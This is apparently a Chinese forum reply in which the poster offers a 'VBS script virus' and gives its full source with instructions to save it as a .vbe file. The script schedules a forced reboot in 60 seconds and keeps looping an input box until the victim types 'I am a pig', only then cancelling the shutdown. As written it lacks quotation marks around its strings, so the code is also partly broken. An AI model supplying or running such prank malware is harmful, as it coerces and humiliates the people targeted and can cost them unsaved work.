虾米意思？问题能清楚点不？不过，如果想要一个VBS脚本病毒的话，我有：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(wscript.shell)
WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 快说“我是猪”，不说我是猪就一分钟关你机，不信，试试··· ,0 ,true
dim a
do while(a <> 我是猪)
a = inputbox (说我是猪的,就不关机，快点，说 我是猪 ,说不说,就不说,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox
loop
msgbox chr(13) + chr(13) + chr(13) + 很好，早说就行了嘛
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
WSHshell.run cmd.exe /c shutdown -a,0 ,true
msgbox chr(13) + chr(13) + chr(13) + hello，可爱的小猪猪!
将以上代码复制到新建的文本文档上，保存后将后缀名改为“vbe”，就OK啦！！！~